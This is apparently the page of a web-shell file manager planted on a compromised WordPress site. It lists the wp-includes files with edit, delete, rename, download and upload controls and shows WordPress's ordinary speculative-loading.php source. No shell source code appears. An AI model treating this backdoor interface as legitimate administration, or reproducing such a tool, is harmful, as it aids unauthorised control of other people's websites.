⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀
⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀
⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀
⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦   www.github.com/caterscam 
⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈
⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀
⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀
⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

Current Dir: /dom834884/wp-includes/

[DIR] ID3 [ delete | rename ]
[DIR] IXR [ delete | rename ]
[DIR] PHPMailer [ delete | rename ]
[DIR] Requests [ delete | rename ]
[DIR] SimplePie [ delete | rename ]
[DIR] Text [ delete | rename ]
[DIR] assets [ delete | rename ]
[DIR] block-bindings [ delete | rename ]
[DIR] block-patterns [ delete | rename ]
[DIR] block-supports [ delete | rename ]
[DIR] blocks [ delete | rename ]
[DIR] certificates [ delete | rename ]
[DIR] css [ delete | rename ]
[DIR] customize [ delete | rename ]
[DIR] fonts [ delete | rename ]
[DIR] html-api [ delete | rename ]
[DIR] images [ delete | rename ]
[DIR] interactivity-api [ delete | rename ]
[DIR] js [ delete | rename ]
[DIR] l10n [ delete | rename ]
[DIR] php-compat [ delete | rename ]
[DIR] pomo [ delete | rename ]
[DIR] rest-api [ delete | rename ]
[DIR] sitemaps [ delete | rename ]
[DIR] sodium_compat [ delete | rename ]
[DIR] style-engine [ delete | rename ]
[DIR] theme-compat [ delete | rename ]
[DIR] widgets [ delete | rename ]
[FILE] admin-bar.php [ edit | delete | rename | download ]
[FILE] atomlib.php [ edit | delete | rename | download ]
[FILE] author-template.php [ edit | delete | rename | download ]
[FILE] block-bindings.php [ edit | delete | rename | download ]
[FILE] block-editor.php [ edit | delete | rename | download ]
[FILE] block-i18n.json [ edit | delete | rename | download ]
[FILE] block-patterns.php [ edit | delete | rename | download ]
[FILE] block-template-utils.php [ edit | delete | rename | download ]
[FILE] block-template.php [ edit | delete | rename | download ]
[FILE] blocks.php [ edit | delete | rename | download ]
[FILE] bookmark-template.php [ edit | delete | rename | download ]
[FILE] bookmark.php [ edit | delete | rename | download ]
[FILE] cache-compat.php [ edit | delete | rename | download ]
[FILE] cache.php [ edit | delete | rename | download ]
[FILE] canonical.php [ edit | delete | rename | download ]
[FILE] capabilities.php [ edit | delete | rename | download ]
[FILE] category-template.php [ edit | delete | rename | download ]
[FILE] category.php [ edit | delete | rename | download ]
[FILE] class-IXR.php [ edit | delete | rename | download ]
[FILE] class-avif-info.php [ edit | delete | rename | download ]
[FILE] class-feed.php [ edit | delete | rename | download ]
[FILE] class-http.php [ edit | delete | rename | download ]
[FILE] class-json.php [ edit | delete | rename | download ]
[FILE] class-oembed.php [ edit | delete | rename | download ]
[FILE] class-phpass.php [ edit | delete | rename | download ]
[FILE] class-phpmailer.php [ edit | delete | rename | download ]
[FILE] class-pop3.php [ edit | delete | rename | download ]
[FILE] class-requests.php [ edit | delete | rename | download ]
[FILE] class-simplepie.php [ edit | delete | rename | download ]
[FILE] class-smtp.php [ edit | delete | rename | download ]
[FILE] class-snoopy.php [ edit | delete | rename | download ]
[FILE] class-walker-category-dropdown.php [ edit | delete | rename | download ]
[FILE] class-walker-category.php [ edit | delete | rename | download ]
[FILE] class-walker-comment.php [ edit | delete | rename | download ]
[FILE] class-walker-nav-menu.php [ edit | delete | rename | download ]
[FILE] class-walker-page-dropdown.php [ edit | delete | rename | download ]
[FILE] class-walker-page.php [ edit | delete | rename | download ]
[FILE] class-wp-admin-bar.php [ edit | delete | rename | download ]
[FILE] class-wp-ajax-response.php [ edit | delete | rename | download ]
[FILE] class-wp-application-passwords.php [ edit | delete | rename | download ]
[FILE] class-wp-block-bindings-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-bindings-source.php [ edit | delete | rename | download ]
[FILE] class-wp-block-editor-context.php [ edit | delete | rename | download ]
[FILE] class-wp-block-list.php [ edit | delete | rename | download ]
[FILE] class-wp-block-metadata-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-parser-block.php [ edit | delete | rename | download ]
[FILE] class-wp-block-parser-frame.php [ edit | delete | rename | download ]
[FILE] class-wp-block-parser.php [ edit | delete | rename | download ]
[FILE] class-wp-block-pattern-categories-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-patterns-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-styles-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-supports.php [ edit | delete | rename | download ]
[FILE] class-wp-block-template.php [ edit | delete | rename | download ]
[FILE] class-wp-block-templates-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-type-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-type.php [ edit | delete | rename | download ]
[FILE] class-wp-block.php [ edit | delete | rename | download ]
[FILE] class-wp-classic-to-block-menu-converter.php [ edit | delete | rename | download ]
[FILE] class-wp-comment-query.php [ edit | delete | rename | download ]
[FILE] class-wp-comment.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-control.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-manager.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-nav-menus.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-panel.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-section.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-setting.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-widgets.php [ edit | delete | rename | download ]
[FILE] class-wp-date-query.php [ edit | delete | rename | download ]
[FILE] class-wp-dependencies.php [ edit | delete | rename | download ]
[FILE] class-wp-dependency.php [ edit | delete | rename | download ]
[FILE] class-wp-duotone.php [ edit | delete | rename | download ]
[FILE] class-wp-editor.php [ edit | delete | rename | download ]
[FILE] class-wp-embed.php [ edit | delete | rename | download ]
[FILE] class-wp-error.php [ edit | delete | rename | download ]
[FILE] class-wp-exception.php [ edit | delete | rename | download ]
[FILE] class-wp-fatal-error-handler.php [ edit | delete | rename | download ]
[FILE] class-wp-feed-cache-transient.php [ edit | delete | rename | download ]
[FILE] class-wp-feed-cache.php [ edit | delete | rename | download ]
[FILE] class-wp-hook.php [ edit | delete | rename | download ]
[FILE] class-wp-http-cookie.php [ edit | delete | rename | download ]
[FILE] class-wp-http-curl.php [ edit | delete | rename | download ]
[FILE] class-wp-http-encoding.php [ edit | delete | rename | download ]
[FILE] class-wp-http-ixr-client.php [ edit | delete | rename | download ]
[FILE] class-wp-http-proxy.php [ edit | delete | rename | download ]
[FILE] class-wp-http-requests-hooks.php [ edit | delete | rename | download ]
[FILE] class-wp-http-requests-response.php [ edit | delete | rename | download ]
[FILE] class-wp-http-response.php [ edit | delete | rename | download ]
[FILE] class-wp-http-streams.php [ edit | delete | rename | download ]
[FILE] class-wp-http.php [ edit | delete | rename | download ]
[FILE] class-wp-image-editor-gd.php [ edit | delete | rename | download ]
[FILE] class-wp-image-editor-imagick.php [ edit | delete | rename | download ]
[FILE] class-wp-image-editor.php [ edit | delete | rename | download ]
[FILE] class-wp-list-util.php [ edit | delete | rename | download ]
[FILE] class-wp-locale-switcher.php [ edit | delete | rename | download ]
[FILE] class-wp-locale.php [ edit | delete | rename | download ]
[FILE] class-wp-matchesmapregex.php [ edit | delete | rename | download ]
[FILE] class-wp-meta-query.php [ edit | delete | rename | download ]
[FILE] class-wp-metadata-lazyloader.php [ edit | delete | rename | download ]
[FILE] class-wp-navigation-fallback.php [ edit | delete | rename | download ]
[FILE] class-wp-network-query.php [ edit | delete | rename | download ]
[FILE] class-wp-network.php [ edit | delete | rename | download ]
[FILE] class-wp-object-cache.php [ edit | delete | rename | download ]
[FILE] class-wp-oembed-controller.php [ edit | delete | rename | download ]
[FILE] class-wp-oembed.php [ edit | delete | rename | download ]
[FILE] class-wp-paused-extensions-storage.php [ edit | delete | rename | download ]
[FILE] class-wp-phpmailer.php [ edit | delete | rename | download ]
[FILE] class-wp-plugin-dependencies.php [ edit | delete | rename | download ]
[FILE] class-wp-post-type.php [ edit | delete | rename | download ]
[FILE] class-wp-post.php [ edit | delete | rename | download ]
[FILE] class-wp-query.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-cookie-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-email-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-key-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-link-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode.php [ edit | delete | rename | download ]
[FILE] class-wp-rewrite.php [ edit | delete | rename | download ]
[FILE] class-wp-role.php [ edit | delete | rename | download ]
[FILE] class-wp-roles.php [ edit | delete | rename | download ]
[FILE] class-wp-script-modules.php [ edit | delete | rename | download ]
[FILE] class-wp-scripts.php [ edit | delete | rename | download ]
[FILE] class-wp-session-tokens.php [ edit | delete | rename | download ]
[FILE] class-wp-simplepie-file.php [ edit | delete | rename | download ]
[FILE] class-wp-simplepie-sanitize-kses.php [ edit | delete | rename | download ]
[FILE] class-wp-site-query.php [ edit | delete | rename | download ]
[FILE] class-wp-site.php [ edit | delete | rename | download ]
[FILE] class-wp-speculation-rules.php [ edit | delete | rename | download ]
[FILE] class-wp-styles.php [ edit | delete | rename | download ]
[FILE] class-wp-tax-query.php [ edit | delete | rename | download ]
[FILE] class-wp-taxonomy.php [ edit | delete | rename | download ]
[FILE] class-wp-term-query.php [ edit | delete | rename | download ]
[FILE] class-wp-term.php [ edit | delete | rename | download ]
[FILE] class-wp-text-diff-renderer-inline.php [ edit | delete | rename | download ]
[FILE] class-wp-text-diff-renderer-table.php [ edit | delete | rename | download ]
[FILE] class-wp-textdomain-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json-data.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json-resolver.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json-schema.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json.php [ edit | delete | rename | download ]
[FILE] class-wp-theme.php [ edit | delete | rename | download ]
[FILE] class-wp-token-map.php [ edit | delete | rename | download ]
[FILE] class-wp-url-pattern-prefixer.php [ edit | delete | rename | download ]
[FILE] class-wp-user-meta-session-tokens.php [ edit | delete | rename | download ]
[FILE] class-wp-user-query.php [ edit | delete | rename | download ]
[FILE] class-wp-user-request.php [ edit | delete | rename | download ]
[FILE] class-wp-user.php [ edit | delete | rename | download ]
[FILE] class-wp-walker.php [ edit | delete | rename | download ]
[FILE] class-wp-widget-factory.php [ edit | delete | rename | download ]
[FILE] class-wp-widget.php [ edit | delete | rename | download ]
[FILE] class-wp-xmlrpc-server.php [ edit | delete | rename | download ]
[FILE] class-wp.php [ edit | delete | rename | download ]
[FILE] class-wpdb.php [ edit | delete | rename | download ]
[FILE] class.wp-dependencies.php [ edit | delete | rename | download ]
[FILE] class.wp-scripts.php [ edit | delete | rename | download ]
[FILE] class.wp-styles.php [ edit | delete | rename | download ]
[FILE] comment-template.php [ edit | delete | rename | download ]
[FILE] comment.php [ edit | delete | rename | download ]
[FILE] compat.php [ edit | delete | rename | download ]
[FILE] cron.php [ edit | delete | rename | download ]
[FILE] date.php [ edit | delete | rename | download ]
[FILE] default-constants.php [ edit | delete | rename | download ]
[FILE] default-filters.php [ edit | delete | rename | download ]
[FILE] default-widgets.php [ edit | delete | rename | download ]
[FILE] deprecated.php [ edit | delete | rename | download ]
[FILE] embed-template.php [ edit | delete | rename | download ]
[FILE] embed.php [ edit | delete | rename | download ]
[FILE] error-protection.php [ edit | delete | rename | download ]
[FILE] feed-atom-comments.php [ edit | delete | rename | download ]
[FILE] feed-atom.php [ edit | delete | rename | download ]
[FILE] feed-rdf.php [ edit | delete | rename | download ]
[FILE] feed-rss.php [ edit | delete | rename | download ]
[FILE] feed-rss2-comments.php [ edit | delete | rename | download ]
[FILE] feed-rss2.php [ edit | delete | rename | download ]
[FILE] feed.php [ edit | delete | rename | download ]
[FILE] fonts.php [ edit | delete | rename | download ]
[FILE] formatting.php [ edit | delete | rename | download ]
[FILE] functions.php [ edit | delete | rename | download ]
[FILE] functions.wp-scripts.php [ edit | delete | rename | download ]
[FILE] functions.wp-styles.php [ edit | delete | rename | download ]
[FILE] general-template.php [ edit | delete | rename | download ]
[FILE] global-styles-and-settings.php [ edit | delete | rename | download ]
[FILE] http.php [ edit | delete | rename | download ]
[FILE] https-detection.php [ edit | delete | rename | download ]
[FILE] https-migration.php [ edit | delete | rename | download ]
[FILE] kses.php [ edit | delete | rename | download ]
[FILE] l10n.php [ edit | delete | rename | download ]
[FILE] link-template.php [ edit | delete | rename | download ]
[FILE] load.php [ edit | delete | rename | download ]
[FILE] locale.php [ edit | delete | rename | download ]
[FILE] media-template.php [ edit | delete | rename | download ]
[FILE] media.php [ edit | delete | rename | download ]
[FILE] meta.php [ edit | delete | rename | download ]
[FILE] ms-blogs.php [ edit | delete | rename | download ]
[FILE] ms-default-constants.php [ edit | delete | rename | download ]
[FILE] ms-default-filters.php [ edit | delete | rename | download ]
[FILE] ms-deprecated.php [ edit | delete | rename | download ]
[FILE] ms-files.php [ edit | delete | rename | download ]
[FILE] ms-functions.php [ edit | delete | rename | download ]
[FILE] ms-load.php [ edit | delete | rename | download ]
[FILE] ms-network.php [ edit | delete | rename | download ]
[FILE] ms-settings.php [ edit | delete | rename | download ]
[FILE] ms-site.php [ edit | delete | rename | download ]
[FILE] nav-menu-template.php [ edit | delete | rename | download ]
[FILE] nav-menu.php [ edit | delete | rename | download ]
[FILE] option.php [ edit | delete | rename | download ]
[FILE] pluggable-deprecated.php [ edit | delete | rename | download ]
[FILE] pluggable.php [ edit | delete | rename | download ]
[FILE] plugin.php [ edit | delete | rename | download ]
[FILE] post-formats.php [ edit | delete | rename | download ]
[FILE] post-template.php [ edit | delete | rename | download ]
[FILE] post-thumbnail-template.php [ edit | delete | rename | download ]
[FILE] post.php [ edit | delete | rename | download ]
[FILE] query.php [ edit | delete | rename | download ]
[FILE] registration-functions.php [ edit | delete | rename | download ]
[FILE] registration.php [ edit | delete | rename | download ]
[FILE] rest-api.php [ edit | delete | rename | download ]
[FILE] revision.php [ edit | delete | rename | download ]
[FILE] rewrite.php [ edit | delete | rename | download ]
[FILE] robots-template.php [ edit | delete | rename | download ]
[FILE] rss-functions.php [ edit | delete | rename | download ]
[FILE] rss.php [ edit | delete | rename | download ]
[FILE] script-loader.php [ edit | delete | rename | download ]
[FILE] script-modules.php [ edit | delete | rename | download ]
[FILE] session.php [ edit | delete | rename | download ]
[FILE] shortcodes.php [ edit | delete | rename | download ]
[FILE] sitemaps.php [ edit | delete | rename | download ]
[FILE] speculative-loading.php [ edit | delete | rename | download ]
[FILE] spl-autoload-compat.php [ edit | delete | rename | download ]
[FILE] style-engine.php [ edit | delete | rename | download ]
[FILE] taxonomy.php [ edit | delete | rename | download ]
[FILE] template-canvas.php [ edit | delete | rename | download ]
[FILE] template-loader.php [ edit | delete | rename | download ]
[FILE] template.php [ edit | delete | rename | download ]
[FILE] theme-i18n.json [ edit | delete | rename | download ]
[FILE] theme-previews.php [ edit | delete | rename | download ]
[FILE] theme-templates.php [ edit | delete | rename | download ]
[FILE] theme.json [ edit | delete | rename | download ]
[FILE] theme.php [ edit | delete | rename | download ]
[FILE] update.php [ edit | delete | rename | download ]
[FILE] user.php [ edit | delete | rename | download ]
[FILE] vars.php [ edit | delete | rename | download ]
[FILE] version.php [ edit | delete | rename | download ]
[FILE] widgets.php [ edit | delete | rename | download ]
[FILE] wp-db.php [ edit | delete | rename | download ]
[FILE] wp-diff.php [ edit | delete | rename | download ]

Viewing: /dom834884/wp-includes/speculative-loading.php

<?php
/**
 * Speculative loading functions.
 *
 * @package WordPress
 * @subpackage Speculative Loading
 * @since 6.8.0
 */

/**
 * Returns the speculation rules configuration.
 *
 * @since 6.8.0
 *
 * @return array<string, string>|null Associative array with 'mode' and 'eagerness' keys, or null if speculative
 *                                    loading is disabled.
 */
function wp_get_speculation_rules_configuration(): ?array {
	// By default, speculative loading is only enabled for sites with pretty permalinks when no user is logged in.
	if ( ! is_user_logged_in() && get_option( 'permalink_structure' ) ) {
		$config = array(
			'mode'      => 'auto',
			'eagerness' => 'auto',
		);
	} else {
		$config = null;
	}

	/**
	 * Filters the way that speculation rules are configured.
	 *
	 * The Speculation Rules API is a web API that allows to automatically prefetch or prerender certain URLs on the
	 * page, which can lead to near-instant page load times. This is also referred to as speculative loading.
	 *
	 * There are two aspects to the configuration:
	 * * The "mode" (whether to "prefetch" or "prerender" URLs).
	 * * The "eagerness" (whether to speculatively load URLs in an "eager", "moderate", or "conservative" way).
	 *
	 * By default, the speculation rules configuration is decided by WordPress Core ("auto"). This filter can be used
	 * to force a certain configuration, which could for instance load URLs more or less eagerly.
	 *
	 * For logged-in users or for sites that are not configured to use pretty permalinks, the default value is `null`,
	 * indicating that speculative loading is entirely disabled.
	 *
	 * @since 6.8.0
	 * @see https://developer.chrome.com/docs/web-platform/prerender-pages
	 *
	 * @param array<string, string>|null $config Associative array with 'mode' and 'eagerness' keys, or `null`. The
	 *                                           default value for both of the keys is 'auto'. Other possible values
	 *                                           for 'mode' are 'prefetch' and 'prerender'. Other possible values for
	 *                                           'eagerness' are 'eager', 'moderate', and 'conservative'. The value
	 *                                           `null` is used to disable speculative loading entirely.
	 */
	$config = apply_filters( 'wp_speculation_rules_configuration', $config );

	// Allow the value `null` to indicate that speculative loading is disabled.
	if ( null === $config ) {
		return null;
	}

	// Sanitize the configuration and replace 'auto' with current defaults.
	$default_mode      = 'prefetch';
	$default_eagerness = 'conservative';
	if ( ! is_array( $config ) ) {
		return array(
			'mode'      => $default_mode,
			'eagerness' => $default_eagerness,
		);
	}
	if (
		! isset( $config['mode'] ) ||
		'auto' === $config['mode'] ||
		! WP_Speculation_Rules::is_valid_mode( $config['mode'] )
	) {
		$config['mode'] = $default_mode;
	}
	if (
		! isset( $config['eagerness'] ) ||
		'auto' === $config['eagerness'] ||
		! WP_Speculation_Rules::is_valid_eagerness( $config['eagerness'] ) ||
		// 'immediate' is a valid eagerness, but for safety WordPress does not allow it for document-level rules.
		'immediate' === $config['eagerness']
	) {
		$config['eagerness'] = $default_eagerness;
	}

	return array(
		'mode'      => $config['mode'],
		'eagerness' => $config['eagerness'],
	);
}

/**
 * Returns the full speculation rules data based on the configuration.
 *
 * Plugins with features that rely on frontend URLs to exclude from prefetching or prerendering should use the
 * {@see 'wp_speculation_rules_href_exclude_paths'} filter to ensure those URL patterns are excluded.
 *
 * Additional speculation rules other than the default rule from WordPress Core can be provided by using the
 * {@see 'wp_load_speculation_rules'} action and amending the passed WP_Speculation_Rules object.
 *
 * @since 6.8.0
 * @access private
 *
 * @return WP_Speculation_Rules|null Object representing the speculation rules to use, or null if speculative loading
 *                                   is disabled in the current context.
 */
function wp_get_speculation_rules(): ?WP_Speculation_Rules {
	$configuration = wp_get_speculation_rules_configuration();
	if ( null === $configuration ) {
		return null;
	}

	$mode      = $configuration['mode'];
	$eagerness = $configuration['eagerness'];

	$prefixer = new WP_URL_Pattern_Prefixer();

	$base_href_exclude_paths = array(
		$prefixer->prefix_path_pattern( '/wp-*.php', 'site' ),
		$prefixer->prefix_path_pattern( '/wp-admin/*', 'site' ),
		$prefixer->prefix_path_pattern( '/*', 'uploads' ),
		$prefixer->prefix_path_pattern( '/*', 'content' ),
		$prefixer->prefix_path_pattern( '/*', 'plugins' ),
		$prefixer->prefix_path_pattern( '/*', 'template' ),
		$prefixer->prefix_path_pattern( '/*', 'stylesheet' ),
	);

	/*
	 * If pretty permalinks are enabled, exclude any URLs with query parameters.
	 * Otherwise, exclude specifically the URLs with a `_wpnonce` query parameter or any other query parameter
	 * containing the word `nonce`.
	 */
	if ( get_option( 'permalink_structure' ) ) {
		$base_href_exclude_paths[] = $prefixer->prefix_path_pattern( '/*\\?(.+)', 'home' );
	} else {
		$base_href_exclude_paths[] = $prefixer->prefix_path_pattern( '/*\\?*(^|&)*nonce*=*', 'home' );
	}

	/**
	 * Filters the paths for which speculative loading should be disabled.
	 *
	 * All paths should start in a forward slash, relative to the root document. The `*` can be used as a wildcard.
	 * If the WordPress site is in a subdirectory, the exclude paths will automatically be prefixed as necessary.
	 *
	 * Note that WordPress always excludes certain path patterns such as `/wp-login.php` and `/wp-admin/*`, and those
	 * cannot be modified using the filter.
	 *
	 * @since 6.8.0
	 *
	 * @param string[] $href_exclude_paths Additional path patterns to disable speculative loading for.
	 * @param string   $mode               Mode used to apply speculative loading. Either 'prefetch' or 'prerender'.
	 */
	$href_exclude_paths = (array) apply_filters( 'wp_speculation_rules_href_exclude_paths', array(), $mode );

	// Ensure that:
	// 1. There are no duplicates.
	// 2. The base paths cannot be removed.
	// 3. The array has sequential keys (i.e. array_is_list()).
	$href_exclude_paths = array_values(
		array_unique(
			array_merge(
				$base_href_exclude_paths,
				array_map(
					static function ( string $href_exclude_path ) use ( $prefixer ): string {
						return $prefixer->prefix_path_pattern( $href_exclude_path );
					},
					$href_exclude_paths
				)
			)
		)
	);

	$speculation_rules = new WP_Speculation_Rules();

	$main_rule_conditions = array(
		// Include any URLs within the same site.
		array(
			'href_matches' => $prefixer->prefix_path_pattern( '/*' ),
		),
		// Except for excluded paths.
		array(
			'not' => array(
				'href_matches' => $href_exclude_paths,
			),
		),
		// Also exclude rel=nofollow links, as certain plugins use that on their links that perform an action.
		array(
			'not' => array(
				'selector_matches' => 'a[rel~="nofollow"]',
			),
		),
		// Also exclude links that are explicitly marked to opt out, either directly or via a parent element.
		array(
			'not' => array(
				'selector_matches' => ".no-{$mode}, .no-{$mode} a",
			),
		),
	);

	// If using 'prerender', also exclude links that opt out of 'prefetch' because it's part of 'prerender'.
	if ( 'prerender' === $mode ) {
		$main_rule_conditions[] = array(
			'not' => array(
				'selector_matches' => '.no-prefetch, .no-prefetch a',
			),
		);
	}

	$speculation_rules->add_rule(
		$mode,
		'main',
		array(
			'source'    => 'document',
			'where'     => array(
				'and' => $main_rule_conditions,
			),
			'eagerness' => $eagerness,
		)
	);

	/**
	 * Fires when speculation rules data is loaded, allowing to amend the rules.
	 *
	 * @since 6.8.0
	 *
	 * @param WP_Speculation_Rules $speculation_rules Object representing the speculation rules to use.
	 */
	do_action( 'wp_load_speculation_rules', $speculation_rules );

	return $speculation_rules;
}

/**
 * Prints the speculation rules.
 *
 * For browsers that do not support speculation rules yet, the `script[type="speculationrules"]` tag will be ignored.
 *
 * @since 6.8.0
 * @access private
 */
function wp_print_speculation_rules(): void {
	$speculation_rules = wp_get_speculation_rules();
	if ( null === $speculation_rules ) {
		return;
	}

	wp_print_inline_script_tag(
		(string) wp_json_encode(
			$speculation_rules
		),
		array( 'type' => 'speculationrules' )
	);
}

Upload File: